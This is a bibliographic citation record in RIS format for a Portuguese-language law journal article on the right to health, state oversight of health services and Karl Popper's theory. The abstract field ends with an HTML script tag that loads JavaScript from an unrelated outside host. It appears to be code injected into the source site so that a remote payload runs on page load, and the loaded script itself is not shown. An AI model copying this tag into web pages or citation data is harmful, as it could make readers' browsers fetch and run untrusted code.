TY - JOUR AU - Silva, Michelle Emanuella de Assis PY - 2017/06/08 Y2 - 2024/03/28 TI - DIREITO À SAÚDE: EVOLUÇÃO HISTÓRICA, ATUAÇÃO ESTATAL E APLICAÇÃO DA TEORIA DE KARL POPPER JF - Revista Digital Constituição e Garantia de Direitos JA - RCGD VL - 9 IS - 2 SE - Padronização DO - 10.21680/1982-310X.2016v9n2ID12251 UR - https://periodicos.ufrn.br/constituicaoegarantiadedireitos/article/view/12251 SP - 4 - 22 AB - <p>O objetivo desse trabalho é expor uma sucinta análise acerca do direito à saúde, analisando a evolução histórica de sua definição e o tratamento constitucional conferido ao tema. Ademais, examina-se a atuação estatal - através da regulamentação, fiscalização e controle das ações e serviços de saúde - de acordo com o ordenamento jurídico brasileiro vigente, aplicando-se a teoria do filósofo Karl Popper no que tange à intervenção do Estado em tal seara.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -